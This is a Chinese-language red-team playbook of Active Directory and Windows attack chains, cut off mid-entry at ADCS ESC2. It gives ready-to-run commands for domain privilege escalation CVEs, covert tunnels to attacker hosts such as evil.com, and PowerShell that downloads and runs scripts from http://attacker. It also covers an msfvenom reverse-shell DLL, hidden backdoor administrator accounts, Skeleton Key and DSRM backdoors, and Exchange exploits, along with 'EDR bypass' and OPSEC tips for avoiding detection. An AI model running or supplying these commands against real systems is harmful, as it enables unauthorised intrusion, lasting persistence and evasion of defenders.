1. 注册伪造DC [windows] 注册伪造DC
mimikatz # lsadump::dcshadow /object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519
注册伪造DC并修改对象属性
2. 推送更改 [windows] 推送更改
在另一个终端:
mimikatz # lsadump::dcshadow /push
推送更改到真实DC
3. 常见利用 [windows] 常见利用场景
修改用户组:
/object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519
添加SID History:
/attribute:sidHistory /value:S-1-5-21-xxx-500
组策略滥用 group-policy-abuse
滥用组策略进行横向移动
子类:组策略 · tags: gpo group-policy domain
前置条件: GPO编辑权限
攻击链:
1. 查找可编辑GPO [windows] 查找可编辑GPO
Get-GPO -All | Where-Object { $_ | Get-GPPermission -TargetType User -TargetName "Domain Users" -PermissionLevel GpoEdit }
查找Domain Users可编辑的GPO
2. 添加计划任务 [windows] 添加计划任务
New-GPOImmediateTask -TaskName "Backdoor" -Command "cmd.exe" -Arguments "/c calc.exe" -GPODisplayName "VULN_GPO"
添加立即执行的计划任务
3. 添加注册表项 [windows] 添加注册表启动项
Set-GPPrefRegistryValue -Name "VULN_GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Backdoor" -Value "C:\backdoor.exe"
SAM The Admin攻击 sam-the-admin
CVE-2021-42278/CVE-2021-42287域提权
子类:SAM The Admin · tags: ad cve-2021-42278 privilege
前置条件: 域用户权限;域控制器存在漏洞
攻击链:
1. 检测漏洞 [linux] 检测漏洞
python noPac.py domain.com/user:password -dc-ip DC_IP
检测是否存在漏洞
2. 利用漏洞 [linux] 获取域控权限
python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -shell
获取SYSTEM Shell
3. 执行命令 [linux] 执行命令
python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -command "whoami"
NoAuth攻击 noauth
CVE-2022-33679 Kerberos认证绕过
子类:NoAuth · tags: ad cve-2022-33679 kerberos
前置条件: 域用户权限;目标账户有RC4密钥
攻击链:
1. 检测漏洞 [linux] 检测漏洞
python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator
检测是否存在漏洞
2. 利用漏洞 [linux] 获取TGT
python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator
获取目标用户TGT
3. 使用TGT [linux] 使用获取的TGT
设置KRB5CCNAME环境变量
export KRB5CCNAME=administrator.ccache
使用psexec.py等工具
隧道代理
FRP内网穿透 tunnel-frp
使用FRP建立内网穿透隧道
子类:TCP隧道 · tags: frp tunnel proxy nat
前置条件: 公网服务器;内网机器可访问公网;FRP工具
攻击链:
1. 服务端配置 [linux] FRP服务端配置文件frps.ini
[common]
bind_port = 7000
2. 客户端配置 [windows] FRP客户端配置文件frpc.ini
[common]
server_addr = attacker_ip
server_port = 7000
[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 3389
3. 启动服务端 [linux] 启动FRP服务端
./frps -c frps.ini
4. 启动客户端 [windows] 启动FRP客户端
frpc.exe -c frpc.ini
分析: FRP可以建立TCP隧道,将内网服务映射到公网。
OPSEC: FRP流量可能被检测;考虑使用加密传输;注意隐藏进程
Chisel内网穿透 tunnel-chisel
使用Chisel建立内网穿透隧道
子类:HTTP隧道 · tags: chisel tunnel proxy http
前置条件: 公网服务器;内网机器可访问公网;Chisel工具
攻击链:
1. 服务端 [linux] 启动Chisel服务端
./chisel server -p 8000 --reverse
2. 反向SOCKS [windows] 建立反向SOCKS代理
chisel.exe client attacker_ip:8000 R:socks
3. 端口转发 [windows] 端口转发
chisel.exe client attacker_ip:8000 R:3389:127.0.0.1:3389
分析: Chisel可以建立HTTP隧道,穿透防火墙。
OPSEC: Chisel使用HTTP协议;可以绑定域名伪装;流量加密
ReGeorg隧道 tunnel-regeorg
通过Web Shell建立隧道
子类:ReGeorg · tags: tunnel regeorg proxy
前置条件: Web Shell上传;支持脚本语言
攻击链:
1. 上传隧道脚本 上传对应语言的隧道脚本
上传tunnel.aspx/tunnel.jsp/tunnel.php到目标Web服务器
2. 建立隧道 [linux] 启动SOCKS代理
python reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.aspx
3. 配置代理 [linux] 通过代理扫描
proxychains nmap -sT -Pn target
SSH本地转发 tunnel-ssh-local
SSH本地端口转发
子类:SSH · tags: ssh tunnel local
前置条件: SSH访问权限
攻击链:
1. 本地转发 [linux] 将目标80端口映射到本地8080
ssh -L 8080:target:80 user@jump
SSH远程转发 tunnel-ssh-remote
SSH远程端口转发
子类:SSH · tags: ssh tunnel remote
前置条件: SSH访问权限
攻击链:
1. 远程转发 [linux] 将本地80端口映射到远程8080
ssh -R 8080:localhost:80 user@jump
SSH动态转发 tunnel-ssh-dynamic
SSH动态SOCKS代理
子类:SSH · tags: ssh tunnel socks
前置条件: SSH访问权限
攻击链:
1. 动态转发 [linux] 创建SOCKS代理
ssh -D 1080 user@jump
2. 使用代理 [linux] 通过SOCKS代理访问
proxychains nmap -sT -Pn target
DNS隧道 tunnel-dns
通过DNS协议建立隧道
子类:DNS · tags: dns tunnel covert
前置条件: DNS解析权限;可控域名
攻击链:
1. 使用dnscat2 [linux] 启动dnscat2服务器
ruby dnscat2.rb evil.com --dns port=53,domain=evil.com
2. 客户端连接 [windows] 客户端连接到服务器
dnscat2-v0.07-client-win32.exe --dns domain=evil.com --secret SECRET
3. 建立隧道 [linux] 建立SOCKS隧道
session -i 1
listen 127.0.0.1:1080 10.0.0.1:1080
ICMP隧道 tunnel-icmp
通过ICMP协议建立隧道
子类:ICMP · tags: icmp tunnel covert
前置条件: ICMP允许通过;管理员权限
攻击链:
1. 使用icmptunnel [linux] 服务端启动
icmptunnel -s 10.0.0.1
2. 客户端连接 [linux] 客户端连接
icmptunnel -c attacker.com
Ligolo隧道 tunnel-ligolo
Ligolo内网穿透工具
子类:Ligolo · tags: ligolo tunnel proxy
前置条件: 可执行代理程序
攻击链:
1. 启动服务端 [linux] 启动Ligolo代理服务
sudo proxy -selfcert
2. 运行代理 [windows] 目标机器运行代理
agent.exe -connect attacker:11601 -ignore-cert
3. 创建隧道 [linux] 创建隧道接口
session
start
SOCKS代理 socks-proxy
建立SOCKS代理访问内网
子类:SOCKS · tags: socks proxy tunnel
前置条件: 已有内网访问点
攻击链:
1. SSH SOCKS代理 [linux] SSH动态端口转发
ssh -D 1080 user@jumpserver
或
ssh -D 1080 -N -f user@jumpserver
2. ProxyChains配置 [linux] 配置ProxyChains
编辑 /etc/proxychains.conf:
[ProxyList]
socks5 127.0.0.1 1080
使用:
proxychains nmap -sT target
3. Cobalt Strike SOCKS [windows] CS SOCKS代理
beacon> socks 1080
在CS中启动SOCKS代理
4. Metasploit SOCKS [linux] MSF SOCKS代理
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
run
Ngrok内网穿透 tunnel-ngrok
使用Ngrok建立内网穿透
子类:Ngrok · tags: ngrok tunnel penetration
前置条件: Ngrok账号;可访问外网
攻击链:
1. 安装Ngrok 安装并配置Ngrok
下载: https://ngrok.com/download
tar -xvzf ngrok.zip
./ngrok authtoken YOUR_TOKEN
2. HTTP隧道 创建HTTP隧道
./ngrok http 80
将本地80端口映射到公网
3. TCP隧道 创建TCP隧道
./ngrok tcp 3389
将本地3389端口映射到公网
4. 自定义域名 使用自定义域名
./ngrok http -hostname=custom.domain.com 80
EW内网穿透 tunnel-ew
使用EW建立内网穿透
子类:EW · tags: ew tunnel socks
前置条件: 已有内网访问点
攻击链:
1. 正向代理 [linux] 正向SOCKS代理
./ew -s ssocksd -l 1080
在跳板机上启动SOCKS代理
2. 反向代理 [linux] 反向SOCKS代理
攻击机: ./ew -s rcsocks -l 1080 -e 8888
跳板机: ./ew -s rssocks -d attacker_ip -e 8888
3. 多级级联 [linux] 多级级联
./ew -s lcx_tran -l 1080 -f 2nd_hop -g 9999
多级跳板穿透
Venom内网穿透 tunnel-venom
使用Venom建立内网穿透
子类:Venom · tags: venom tunnel socks
前置条件: 已有内网访问点
攻击链:
1. 启动服务端 [linux] 启动服务端
./venom_server -lport 9999
在攻击机启动服务端
2. 连接客户端 连接服务端
./venom_client -rhost attacker_ip -rport 9999
在跳板机连接服务端
3. 建立SOCKS 建立SOCKS代理
Venom > socks 1080
建立SOCKS代理
4. 端口转发 端口转发
Venom > lforward 127.0.0.1 3389 13389
将内网3389转发到本地13389
信息收集
BloodHound域分析 bloodhound-enumeration
使用BloodHound分析Active Directory攻击路径
子类:域分析 · tags: bloodhound active-directory enumeration neo4j
前置条件: 域环境;域用户凭证;BloodHound工具
攻击链:
1. SharpHound采集 [windows] 使用SharpHound采集域信息
SharpHound.exe -c All
2. PowerShell采集 [windows] 通过PowerShell远程加载采集
IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All
3. bloodhound-python [linux] 使用Python版本采集
bloodhound-python -u user -p password -d target.com -ns dc_ip
4. 指定域控制器 [windows] 指定域控制器采集
SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.target.com
5. 启动Neo4j [linux] 启动Neo4j数据库
sudo neo4j console
6. Cypher查询域管 查询域管理员用户
MATCH (n:User) WHERE n.admincount=true RETURN n
7. 查询攻击路径 查询到域管理员的最短路径
MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
EDR 绕过变体:
1. 隐蔽采集 随机化文件名避免检测
SharpHound.exe -c All --LdapUsername user --LdapPassword pass --OutputDirectory C:\Users\Public --RandomizeFilenames
分析: BloodHound可发现域内的攻击路径,如权限提升路径、会话信息、组关系等。
OPSEC: BloodHound采集会产生大量LDAP查询;可能触发域控制器告警;建议在非工作时间执行
SPN扫描 spn-scan
扫描域内服务主体名称
子类:SPN · tags: spn kerberos enumeration
前置条件: 域环境;任意域用户凭证
攻击链:
1. 查询所有SPN [windows] 查询域内所有SPN
setspn -T domain.com -Q */*
2. PowerShell查询 [windows] PowerShell查询SPN用户
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName
3. Impacket查询 [linux] Impacket查询SPN
GetUserSPNs.py domain/user:password -dc-ip dc_ip
4. 查询特定服务 [windows] 查询HTTP服务的SPN
setspn -T domain.com -Q HTTP/*
5. 查找SQL服务 [windows] 查询MSSQL服务的SPN
setspn -T domain.com -Q MSSQLSvc/*
分析: SPN扫描可以发现域内运行的服务账户,为Kerberoasting攻击做准备。
OPSEC: SPN查询是正常的域操作;不会触发明显告警;可用于后续Kerberoasting攻击
内网端口扫描 port-scan
内网端口扫描与服务识别
子类:端口扫描 · tags: nmap port-scan enumeration
前置条件: 内网访问权限;扫描工具
攻击链:
1. 快速扫描 [linux] 快速扫描常用端口
nmap -sS -T4 -F 192.168.1.0/24
2. 全端口扫描 [linux] 扫描所有65535端口
nmap -sS -p- 192.168.1.1
3. 服务识别 [linux] 服务版本探测和脚本扫描
nmap -sV -sC 192.168.1.1
4. 内网存活探测 [linux] Ping扫描发现存活主机
nmap -sn 192.168.1.0/24
5. Masscan快速扫描 [linux] 高速端口扫描
masscan -p1-65535 192.168.1.0/24 --rate=1000
6. 操作系统识别 [linux] 识别目标操作系统
nmap -O 192.168.1.1
7. UDP扫描 [linux] 扫描常用UDP端口
nmap -sU --top-ports 20 192.168.1.1
8. 漏洞扫描 [linux] 使用漏洞扫描脚本
nmap --script vuln 192.168.1.1
EDR 绕过变体:
1. 隐蔽扫描 低速分片扫描,添加随机数据
nmap -sS -T2 -f --data-length 50 192.168.1.1
2. 诱饵扫描 使用诱饵IP混淆扫描来源
nmap -sS -D RND:10 192.168.1.1
分析: 端口扫描可以发现内网中开放的服务,识别潜在的攻击目标。
OPSEC: 高速扫描可能触发IDS告警;建议使用较低速率;分时段进行扫描
域信息收集 domain-recon
Active Directory域环境信息收集
子类:域信息 · tags: active-directory domain enumeration
前置条件: 域环境;任意域用户凭证
攻击链:
1. 域信息 [windows] 获取域信息
net config workstation
2. 域控制器 [windows] 列出域控制器
nltest /dclist:domain.com
3. 域用户 [windows] 列出域用户
net user /domain
4. 域管理员 [windows] 列出域管理员组
net group "Domain Admins" /domain
5. 域信任关系 [windows] 列出域信任关系
nltest /domain_trusts
6. PowerView收集 [windows] 使用PowerView收集域信息
IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1"); Get-NetDomain
7. 获取域策略 [windows] 获取域密码策略
Get-DomainPolicy
8. 获取域控制器 [windows] 获取域控制器信息
Get-NetDomainController
分析: 域信息收集是内网渗透的基础,可以了解域结构、用户、组等信息。
OPSEC: 域信息收集是正常操作;不会触发明显告警;为后续攻击做准备
网络信息收集 network-recon
内网网络拓扑和配置信息收集
子类:网络信息 · tags: network enumeration topology
前置条件: 内网访问权限
攻击链:
1. 网络配置 [windows] 查看网络配置
ipconfig /all
2. 路由表 [windows] 查看路由表
route print
3. ARP缓存 [windows] 查看ARP缓存
arp -a
4. 网络连接 [windows] 查看网络连接
netstat -ano
5. DNS缓存 [windows] 查看DNS缓存
ipconfig /displaydns
6. Linux网络配置 [linux] Linux查看网络配置
ifconfig -a
7. Linux路由表 [linux] Linux查看路由表
route -n
8. traceroute [windows] 追踪路由
tracert target_ip
分析: 网络信息收集可以了解内网拓扑、网段划分、网关等信息。
OPSEC: 这些是正常的网络管理命令;不会触发告警;为后续横向移动做准备
共享枚举 share-enum
枚举网络共享资源
子类:共享 · tags: smb share enumeration
前置条件: 内网访问权限
攻击链:
1. 枚举共享 [windows] 查看本地共享
net share
2. 查看远程共享 [windows] 查看远程机器共享
net view \\target_ip
3. SMBMap枚举 [linux] 使用SMBMap枚举共享
smbmap -H target_ip -u user -p password
4. CrackMapExec枚举 [linux] 使用CME枚举共享
crackmapexec smb target_ip -u user -p password --shares
5. smbclient枚举 [linux] 使用smbclient枚举
smbclient -L target_ip -U user%password
6. PowerView枚举 [windows] 查找有趣的共享文件
Find-InterestingDomainShareFile
分析: 共享枚举可以发现敏感文件、配置文件、备份文件等有价值的信息。
OPSEC: 共享枚举是正常操作;可能发现敏感文件;注意文件访问日志
用户枚举 user-enum
枚举域内用户信息
子类:用户 · tags: user enumeration active-directory
前置条件: 域环境;任意域用户凭证
攻击链:
1. 列出域用户 [windows] 列出所有域用户
net user /domain
2. 用户详细信息 [windows] 查看用户详细信息
net user username /domain
3. PowerView枚举 [windows] 使用PowerView枚举用户
Get-NetUser | select samaccountname,description,admincount
4. 查找管理员 [windows] 查找域管理员
Get-NetUser -AdminCount | select samaccountname
5. 查找活跃用户 [windows] 查找最近登录的用户
Get-NetUser | Where-Object {$_.lastlogon -gt (Get-Date).AddDays(-30)}
6. Impacket枚举 [linux] 使用Impacket枚举域用户
GetADUsers.py -all domain/user:password -dc-ip dc_ip
分析: 用户枚举可以发现高价值目标、活跃用户、服务账户等。
OPSEC: 用户枚举是正常操作;为后续攻击选择目标;注意识别蜜罐账户
组枚举 group-enum
枚举域内组信息
子类:组 · tags: group enumeration active-directory
前置条件: 域环境;任意域用户凭证
攻击链:
1. 列出域组 [windows] 列出所有域组
net group /domain
2. 组成员 [windows] 查看域管理员组成员
net group "Domain Admins" /domain
3. PowerView枚举 [windows] 使用PowerView枚举组
Get-NetGroup | select samaccountname,admincount
4. 查找高权限组 [windows] 查找高权限组
Get-NetGroup -AdminCount | select samaccountname
5. 组成员关系 [windows] 获取组成员
Get-NetGroupMember "Domain Admins" | select membername
6. 递归组成员 [windows] 递归获取组成员(包括嵌套组)
Get-NetGroupMember "Domain Admins" -Recurse
分析: 组枚举可以发现高权限组、组成员关系、嵌套组等。
OPSEC: 组枚举是正常操作;重点关注高权限组;注意嵌套组关系
GPO枚举 gpo-enum
枚举组策略对象
子类:GPO · tags: gpo group-policy enumeration
前置条件: 域环境;任意域用户凭证
攻击链:
1. 列出GPO [windows] 列出所有GPO
Get-GPO -All
2. PowerView枚举 [windows] 使用PowerView枚举GPO
Get-NetGPO | select displayname,whencreated
3. GPO权限 [windows] 查找GPO中的受限组
Get-NetGPOGroup
4. GPP密码 [windows] 查找GPP中的密码
Get-NetGPPPassword
5. 查找可利用GPO [windows] 查找用户受哪些GPO影响
Find-GPOLocation -UserName user
分析: GPO枚举可以发现组策略配置、GPP密码、受限组等信息。
OPSEC: GPP密码是常见的信息泄露点;GPO可能包含敏感配置;注意GPO修改权限
ACL枚举 acl-enum
枚举访问控制列表
子类:ACL · tags: acl access-control enumeration
前置条件: 域环境;任意域用户凭证
攻击链:
1. PowerView ACL枚举 [windows] 获取用户对象的ACL
Get-ObjectAcl -SamAccountName user -ResolveGUIDs
2. 查找危险权限 [windows] 查找有趣的ACL权限
Find-InterestingDomainAcl -ResolveGUIDs
3. 查找WriteDACL [windows] 查找WriteDACL权限
Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"}
4. 查找GenericAll [windows] 查找GenericAll权限
Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"}
5. BloodHound ACL分析 BloodHound查询ACL关系
MATCH (n)-[r:AllExtendedRights]->(m) RETURN n,m
分析: ACL枚举可以发现权限配置错误,如WriteDACL、GenericAll等危险权限。
OPSEC: ACL错误配置是常见的提权路径;重点关注高价值目标;BloodHound可可视化ACL关系
信任关系枚举 trust-enum
枚举域信任关系
子类:信任关系 · tags: trust enumeration active-directory
前置条件: 域环境;任意域用户凭证
攻击链:
1. 域信任关系 [windows] 列出域信任关系
nltest /domain_trusts
2. PowerView枚举 [windows] 使用PowerView枚举信任关系
Get-NetDomainTrust
3. 森林信任 [windows] 枚举森林信任关系
Get-NetForestTrust
4. 信任详细信息 [windows] 查看信任详细信息
Get-NetDomainTrust | select SourceDomain,TargetDomain,TrustType,TrustDirection
分析: 信任关系枚举可以发现跨域/跨森林攻击路径。
OPSEC: 信任关系可能提供跨域攻击路径;关注双向信任;注意SID历史问题
计算机枚举 computer-enum
枚举域内计算机
子类:计算机 · tags: computer enumeration active-directory
前置条件: 域环境;任意域用户凭证
攻击链:
1. 列出域计算机 [windows] 列出域计算机
net group "Domain Computers" /domain
2. PowerView枚举 [windows] 使用PowerView枚举计算机
Get-NetComputer | select name,operatingsystem,ipv4address
3. 查找域控制器 [windows] 查找域控制器
Get-NetComputer -DomainController
4. 查找特定系统 [windows] 查找特定操作系统
Get-NetComputer -OperatingSystem "*Server 2019*"
5. 查找活跃计算机 [windows] 查找在线计算机
Get-NetComputer -Ping
6. 查找管理员会话 [windows] 查找域管理员登录位置
Find-DomainUserLocation
分析: 计算机枚举可以发现域内所有计算机,识别高价值目标。
OPSEC: 计算机枚举是正常操作;重点关注域控制器和服务器;查找管理员会话
权限维持
注册表持久化 persistence-registry
通过注册表实现权限维持
子类:注册表 · tags: persistence registry windows autorun
前置条件: 已获得目标机器权限;管理员权限;Windows系统
攻击链:
1. Run键持久化 [windows] 添加Run键实现开机自启
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f
2. RunOnce键 [windows] RunOnce键,执行一次后删除
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f
3. Winlogon Helper [windows] 修改Userinit实现持久化
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\backdoor.exe" /f
4. 服务持久化 [windows] 创建服务实现持久化
sc create Backdoor binPath= "C:\backdoor.exe" start= auto
EDR 绕过变体:
1. 隐藏注册表键 使用空字节隐藏注册表键
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\x00" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f
分析: 注册表持久化会在系统启动或用户登录时执行恶意程序。
OPSEC: Run键是最常见的持久化方式,容易被检测;考虑使用更隐蔽的方式;定期检查注册表异常项
WMI持久化 persistence-wmi
通过WMI事件订阅实现持久化
子类:WMI · tags: wmi persistence windows
前置条件: 管理员权限
攻击链:
1. 创建事件过滤器 [windows] 创建WMI事件过滤器
$filter = New-WmiEventFilter -Name "evil" -Query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
2. 创建事件消费者 [windows] 创建命令行消费者
$consumer = New-WmiEventConsumer -Name "evil" -CommandLineTemplate "powershell -e BASE64_CMD"
3. 绑定过滤器和消费者 [windows] 绑定触发执行
New-WmiFilterToConsumerBinding -Filter $filter -Consumer $consumer
启动文件夹持久化 persistence-startup
通过启动文件夹实现持久化
子类:启动文件夹 · tags: startup persistence windows
前置条件: 写入权限
攻击链:
1. 当前用户启动文件夹 [windows] 当前用户启动
copy evil.lnk "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
2. 所有用户启动文件夹 [windows] 所有用户启动
copy evil.lnk "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
服务持久化 persistence-service
通过创建服务实现持久化
子类:服务 · tags: service persistence windows
前置条件: 管理员权限
攻击链:
1. 创建服务 [windows] 创建自启动服务
sc create evilsvc binPath= "cmd /c powershell -e BASE64_CMD" start= auto
2. 启动服务 [windows] 启动服务
sc start evilsvc
DLL注入持久化 persistence-dll-injection
通过DLL注入实现持久化
子类:DLL注入 · tags: dll injection persistence
前置条件: 代码执行权限;目标进程
攻击链:
1. 创建恶意DLL [linux] 生成恶意DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll
2. 注入DLL [windows] 将DLL注入到运行进程
使用工具如InjectDLL、PowerShell等注入到目标进程
3. AppInit_DLLs [windows] 通过AppInit_DLLs注入
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\evil.dll" /f
后门用户 persistence-backdoor-user
创建后门用户账户
子类:用户 · tags: user backdoor persistence
前置条件: 管理员权限
攻击链:
1. 创建用户 [windows] 创建管理员用户
net user backdoor P@ssw0rd /add
net localgroup administrators backdoor /add
2. 隐藏用户 [windows] 创建隐藏用户($结尾)
net user backdoor$ P@ssw0rd /add
3. 修改注册表隐藏 [windows] 通过注册表隐藏用户
reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\backdoor$" /f
隐藏用户 persistence-hidden-user
创建隐藏的管理员用户
子类:隐藏用户 · tags: hidden user persistence
前置条件: SYSTEM权限
攻击链:
1. 创建用户 [windows] 创建$结尾用户
net user hidden$ P@ssw0rd /add
2. 添加到管理员组 [windows] 添加管理员权限
net localgroup administrators hidden$ /add
3. 注册表隐藏 [windows] 通过注册表完全隐藏
reg export "HKLM\SAM\SAM\Domains\Account\Users\000003E9" user.reg
修改F值
reg import user.reg
计划任务持久化 persistence-scheduled
通过计划任务实现持久化
子类:计划任务 · tags: persistence scheduled task
前置条件: 创建任务权限
攻击链:
1. 创建登录任务 [windows] 创建登录时运行的任务
schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM
2. 创建定时任务 [windows] 创建每5分钟运行的任务
schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc minute /mo 5
3. PowerShell创建 [windows] 使用PowerShell创建任务
$action = New-ScheduledTaskAction -Execute "C:\backdoor.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "Backdoor" -User "System"
4. Linux Cron [linux] Linux计划任务
crontab -e
添加: * * * * * /tmp/backdoor.sh
或: @reboot /tmp/backdoor.sh
Skeleton Key后门 skeleton-key
在域控制器植入万能密码
子类:域后门 · tags: skeleton-key backdoor domain
前置条件: 域管理员权限;访问域控制器
攻击链:
1. 植入Skeleton Key [windows] 使用Mimikatz植入
mimikatz # privilege::debug
mimikatz # misc::skeleton
2. 使用万能密码 [windows] 使用万能密码登录
万能密码: mimikatz
任何域用户都可以使用mimikatz作为密码登录
3. 检测方法 [windows] 检测Skeleton Key
检查LSASS内存:
Get-Process lsass
使用EDR检测内存注入
DSRM后门 dsrm-backdoor
利用DSRM账户建立后门
子类:域后门 · tags: dsrm backdoor domain
前置条件: 域管理员权限;访问域控制器
攻击链:
1. 获取DSRM密码 [windows] 获取DSRM账户哈希
mimikatz # lsadump::lsa /patch /name:krbtgt
或
mimikatz # token::elevate
mimikatz # lsadump::sam
2. 同步DSRM密码 [windows] 同步DSRM密码与域管理员
ntdsutil
set dsrm password
sync from domain account admin
q
q
3. 启用DSRM账户 [windows] 允许DSRM账户远程登录
修改注册表:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
4. 使用DSRM登录 [windows] 使用DSRM账户
使用DSRM账户哈希:
mimikatz # sekurlsa::pth /domain:DC_NAME /user:Administrator /ntlm:HASH
或使用Pass-the-Hash
SID History后门 sid-history
利用SID History建立后门
子类:域后门 · tags: sid-history backdoor domain
前置条件: 域管理员权限
攻击链:
1. 添加SID History [windows] 添加SID History
mimikatz # sid::add /sam:backdoor_user /new:administrator
将域管SID添加到普通用户
2. 验证SID History [windows] 检查SID History
Get-ADUser backdoor_user -Properties sidHistory
或
whoami /all
3. 使用后门 [windows] 使用后门账户
使用backdoor_user登录
自动获得域管理员权限
进程镂空持久化 persistence-process-hollowing
利用进程镂空技术实现持久化
子类:进程注入 · tags: process-hollowing persistence injection
前置条件: 代码执行权限
攻击链:
1. 进程镂空原理 [windows] 进程镂空原理
1. 创建合法进程(挂起状态)
2. 替换进程内存
3. 恢复执行
2. C#实现 [windows] C#进程镂空
using System.Runtime.InteropServices;
// 创建挂起进程
CreateProcess("C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ...);
// 替换内存
NtUnmapViewOfSection(...);
VirtualAllocEx(...);
WriteProcessMemory(...);
ResumeThread(...);
3. 检测方法 [windows] 检测进程镂空
检查进程内存:
- 进程路径与内存内容不匹配
- 异常的内存区域
- 使用EDR检测
Exchange攻击
ProxyLogon攻击 proxylogon
CVE-2021-26855 Exchange SSRF
子类:ProxyLogon · tags: exchange proxylogon cve-2021-26855
前置条件: Exchange可访问
攻击链:
1. 探测漏洞 [linux] 检查Exchange版本
curl -k https://exchange.com/owa/auth/x.js
检查Exchange版本
2. 利用脚本 [linux] 利用ProxyLogon
python proxylogon.py -u https://exchange.com -e admin@domain.com
获取管理员邮箱访问权限
3. 手动利用 手动构造请求
POST /owa/auth/x.js HTTP/1.1
Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3;
X-ClientId=xxx
构造SSRF请求
ProxyShell攻击 proxyshell
CVE-2021-34473 Exchange RCE
子类:ProxyShell · tags: exchange proxyshell cve-2021-34473
前置条件: Exchange可访问
攻击链:
1. 探测漏洞 [linux] 探测漏洞
curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com"
检查是否存在漏洞
2. 利用脚本 [linux] 利用ProxyShell
python proxyshell.py -u https://exchange.com -e admin@domain.com
获取邮箱访问并执行命令
3. 获取邮件 访问邮箱
GET /autodiscover/autodiscover.json?@domain.com/owa/?&Email=admin@domain.com HTTP/1.1
访问邮箱内容
Exchange枚举 exchange-enum
枚举Exchange服务和配置
子类:枚举 · tags: exchange enum recon
前置条件: Exchange可访问
攻击链:
1. 版本探测 [linux] 探测Exchange版本
curl -k https://exchange.com/owa/auth/logon.aspx
检查页面源码获取版本信息
2. Autodiscover [linux] Autodiscover枚举
curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml
获取Exchange配置信息
3. 邮箱枚举 [linux] 枚举邮箱用户
python oab.py https://exchange.com
下载离线通讯录枚举用户
4. NTLM泄露 [linux] NTLM信息泄露
curl -k https://exchange.com/autodiscover/autodiscover.xml
从WWW-Authenticate头获取域信息
ProxyToken攻击 exchange-proxytoken
利用Exchange ProxyToken绕过认证
子类:ProxyToken · tags: exchange proxytoken bypass
前置条件: Exchange服务器;存在漏洞
攻击链:
1. 检测漏洞 [linux] 检测漏洞
使用ProxyToken工具:
python proxytoken.py -u https://exchange.com -e user@domain.com
检测是否存在漏洞
2. 利用漏洞 [linux] 获取邮箱访问
python proxytoken.py -u https://exchange.com -e user@domain.com -a
获取用户邮箱访问权限
3. 访问邮箱 访问EWS接口
curl -k https://exchange.com/ews/Exchange.asmx -H "X-ClientApplication: Test"
绕过认证访问EWS
Exchange邮箱访问 exchange-mailbox-access
通过各种方式访问Exchange邮箱
子类:邮箱访问 · tags: exchange mailbox access
前置条件: Exchange凭证或漏洞
攻击链:
1. OWA访问 OWA Web访问
https://exchange.com/owa
使用凭证登录OWA
查看邮件、日历等
2. EWS访问 [linux] EWS API访问
使用Impacket:
python exchanger.py domain/user:password@exchange.com
或使用EWSTools
3. Outlook MAPI [windows] Outlook客户端
配置Outlook连接Exchange
使用MAPI协议访问邮箱
支持邮件、日历、联系人
4. 导出邮箱 [windows] 导出邮箱
PowerShell:
New-MailboxExportRequest -Mailbox user@domain.com -FilePath "\\server\share\user.pst"
导出邮箱为PST文件
ADCS攻击
ADCS ESC2攻击 adcs-esc2
利用ESC2模板配置错误
子类:ESC2 · tags: adcs esc2 certificate
前置条件: 域环境;ADCS服务;存在ESC2模板
攻击链:
1. 探测ESC2模板 [linux] 探测ESC2模板
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找Any Purpose或CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT模板
2. 请求证书 [linux] 请求管理员证书
